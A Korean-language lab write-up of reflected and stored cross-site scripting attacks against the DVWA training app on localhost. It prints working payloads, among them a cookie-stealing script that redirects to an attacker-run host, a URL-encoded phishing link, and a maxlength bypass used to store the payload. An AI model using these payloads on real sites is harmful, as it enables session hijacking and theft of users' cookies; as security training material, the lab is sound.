크로스 사이트 스크립팅 공격 (XSS 공격) 은 javascript와 같은 스크립트코드를, 취약한 웹 애플리케이션을 통해 클라이언트 쪽의 웹 브라우저를 공격하는 기법이다.
(1) Reflected XSS 공격 -반사하는 성질
사용자가 해커가 보낸 피싱 메일의 링크를 클릭하면, 스크립트 코드가 삽입된 요청이 웹 서버에 전송된다.
웹 애플리케이션은 스크립트 코드를 반사시켜 되돌려주고,
웹 브라우저가 스크립트를 실행하여 쿠키를 해커에게 보낸다.
(2) Stored XSS 공격 -바로 반사되는 것이 아니라 한번 저장되었다가 실행됨.
해커가 피싱을 하는 것이 아니라, 방명록 등에 글을 남겨 스크립트를 저장시킨다.
이후에 다른 사용자가 해커가 남긴 글을 읽고, 저장되어 있던 스크립트가 사용자에게 전달된다.
이제 스크립트 코드가 실행되어 쿠키가 해커에게 전달된다.
이름 입력하면, 아래에 Hello {이름} 형식으로 출력된다.
<script>
코드 입력이제 이름입력 칸에 <script>
코드를 입력해보자.
취약점이 있으면 입력한 <script>
코드가 실행된다.
<script>alert(1);</script>
아래와 같이 alert(1); 이 실행되는 것을 볼 수 있다.
따라서 XSS 공격에 성공한 것을 알 수 있다.
<script>alert(documnet.cookie)</script>
다음과 같이 쿠키가 출력된다.
> tail -f /opt/lampp/logs/access_log
현재 해커 호스트의 웹서버 로그가 출력됨.
<script>document.location='http://127.0.0.1/cookie?'+document.cookie</script>
위 코드를 웹에서 입력하면, 다음과 같이 왼쪽에 웹의 로그가 출력되며 쿠키가 해커에게 전달된다.
입력칸에 love 를 입력했을 때, 주소가
http://localhost/dvwa/vulnerabilities/xss_r/?name=love
와 같이 name 뒤에 입력한 값이 들어가는 것을 알 수 있다.
이에 따라 피싱메일을 보내는데, 사용자가 클릭할 링크에서 name 뒤에 해커에게 쿠키를 보내는 코드로 하자.
http://localhost/dvwa/vulnerabilities/xss_r/?name=<script>document.location%3D'http://127.0.0.1/cookie%3F'%2Bdocument.cookie</script>
(이때, 나는 메일이 작동하지 않아 클릭했다고 가정하고 링크를 직접 붙여녛어 보았다.)
다음과 같이, 쿠키가 해커에게 전송되며 피싱에 성공하였다.
위와 같이 피싱을 통해 XSS 공격을 해 사용자가 자신도 모르게 해커에게 쿠키를 제공하게 할 수 있다.
사용자에게 피싱을 통해서가 아닌, 해커가 직접 입력한 스크립트 코드가 웹에 저장되었다가 나중에 실행된다.
제목은 아무거나
내용에는 해커에게 쿠키를 전송하는 코드인
<script>document.location='http://127.0.0.1/cookie?'+document.cookie</script>
입력
그러나, 길이제한 때문에 코드가 잘리므로 길이제한을 늘려줘야 한다.
내용에서 마우스 우클릭 > Inspect > 해당 부분의 maxlength=500 으로 바꿔줌
이제 다시 입력하면 잘리는 부분없이 잘 입력된다.
전송
다시 root 터미널에서 tail -f /opt/lampp/logs/access_log
를 입력하여 쿠키를 받아오도록 한 상태에서, 나갔다가 다시 XSS(Stored) 페이지에 들어가게 되면 저장된 script 가 실행되면서 쿠키가 해커에게 전송된다.
초기화 완료